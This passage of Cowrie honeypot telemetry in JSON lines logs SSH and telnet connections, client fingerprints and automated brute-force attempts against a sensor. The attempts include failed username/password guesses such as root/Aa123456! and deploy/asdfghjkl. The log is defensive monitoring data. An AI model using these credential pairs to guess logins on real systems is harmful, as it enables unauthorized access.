a2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:02.423296Z","src_ip":"91.92.40.36","session":"0bcec0cee3b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www123","message":"login attempt [www/www123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:07.865646Z","src_ip":"91.92.40.36","session":"0bcec0cee3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36248,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a4341f925df","protocol":"telnet","message":"New connection: 128.199.8.54:36248 (159.203.135.109:23) [session: 3a4341f925df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:08.740446Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47352,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fb0a3f35197","protocol":"ssh","message":"New connection: 91.92.40.36:47352 (10.17.0.5:22) [session: 5fb0a3f35197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:09.470121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:10.117198Z","src_ip":"91.92.40.36","session":"5fb0a3f35197","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:10.121353Z","src_ip":"91.92.40.36","session":"5fb0a3f35197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:10.153865Z","src_ip":"91.92.40.36","session":"0bcec0cee3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":41000,"dst_ip":"159.203.135.109","dst_port":22,"session":"37680f4b9188","protocol":"ssh","message":"New connection: 102.213.34.99:41000 (159.203.135.109:22) [session: 37680f4b9188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:10.757866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:10.762863Z","src_ip":"102.213.34.99","session":"37680f4b9188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:10.932127Z","src_ip":"102.213.34.99","session":"37680f4b9188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"asdfghjkl","message":"login attempt [deploy/asdfghjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:11.649722Z","src_ip":"102.213.34.99","session":"37680f4b9188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osboxes","password":"osboxes.org","message":"login attempt [osboxes/osboxes.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:11.863075Z","src_ip":"91.92.40.36","session":"5fb0a3f35197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:12.823760Z","src_ip":"102.213.34.99","session":"37680f4b9188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.700140714645386,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:13.607785Z","src_ip":"128.199.8.54","session":"92d6ca097dfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:13.613303Z","src_ip":"91.92.40.36","session":"5fb0a3f35197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41466,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe0a7a84d26e","protocol":"ssh","message":"New connection: 91.92.40.36:41466 (10.17.0.5:22) [session: fe0a7a84d26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:16.720793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:17.908964Z","src_ip":"91.92.40.36","session":"fe0a7a84d26e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:17.912256Z","src_ip":"91.92.40.36","session":"fe0a7a84d26e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41498,"dst_ip":"10.17.0.5","dst_port":22,"session":"80879e2abee8","protocol":"ssh","message":"New connection: 91.92.40.36:41498 (10.17.0.5:22) [session: 80879e2abee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:22.570997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:23.913121Z","src_ip":"91.92.40.36","session":"80879e2abee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:23.919841Z","src_ip":"91.92.40.36","session":"80879e2abee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8080","message":"login attempt [root/8080] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:25.004897Z","src_ip":"91.92.40.36","session":"fe0a7a84d26e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:27.107981Z","src_ip":"91.92.40.36","session":"fe0a7a84d26e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456!","message":"login attempt [root/Aa123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:27.550681Z","src_ip":"91.92.40.36","session":"80879e2abee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:28.733917Z","src_ip":"91.92.40.36","session":"80879e2abee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":45500,"dst_ip":"10.17.0.5","dst_port":22,"session":"1117e8eeb9ca","protocol":"ssh","message":"New connection: 101.36.122.139:45500 (10.17.0.5:22) [session: 1117e8eeb9ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:31.588127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:31.593622Z","src_ip":"101.36.122.139","session":"1117e8eeb9ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:31.817236Z","src_ip":"101.36.122.139","session":"1117e8eeb9ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1111","message":"login attempt [git/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:32.743069Z","src_ip":"101.36.122.139","session":"1117e8eeb9ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57922,"dst_ip":"10.17.0.5","dst_port":22,"session":"656f3477b276","protocol":"ssh","message":"New connection: 91.92.40.36:57922 (10.17.0.5:22) [session: 656f3477b276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:33.485079Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:33.971212Z","src_ip":"101.36.122.139","session":"1117e8eeb9ca","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:34.059858Z","src_ip":"91.92.40.36","session":"656f3477b276","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:34.064964Z","src_ip":"91.92.40.36","session":"656f3477b276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"qwerty","message":"login attempt [master/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:36.997215Z","src_ip":"91.92.40.36","session":"656f3477b276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:39.184304Z","src_ip":"91.92.40.36","session":"656f3477b276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50240,"dst_ip":"10.17.0.5","dst_port":22,"session":"a266b96a834b","protocol":"ssh","message":"New connection: 91.92.40.36:50240 (10.17.0.5:22) [session: a266b96a834b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:40.261936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:41.014966Z","src_ip":"91.92.40.36","session":"a266b96a834b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:41.018572Z","src_ip":"91.92.40.36","session":"a266b96a834b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":49468,"dst_ip":"159.203.135.109","dst_port":22,"session":"c504046b711e","protocol":"ssh","message":"New connection: 103.84.236.242:49468 (159.203.135.109:22) [session: c504046b711e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:42.150961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:42.155695Z","src_ip":"103.84.236.242","session":"c504046b711e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:42.385817Z","src_ip":"103.84.236.242","session":"c504046b711e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a7758521","message":"login attempt [root/a7758521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:43.349799Z","src_ip":"103.84.236.242","session":"c504046b711e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:44.587712Z","src_ip":"103.84.236.242","session":"c504046b711e","protocol":"ssh"}
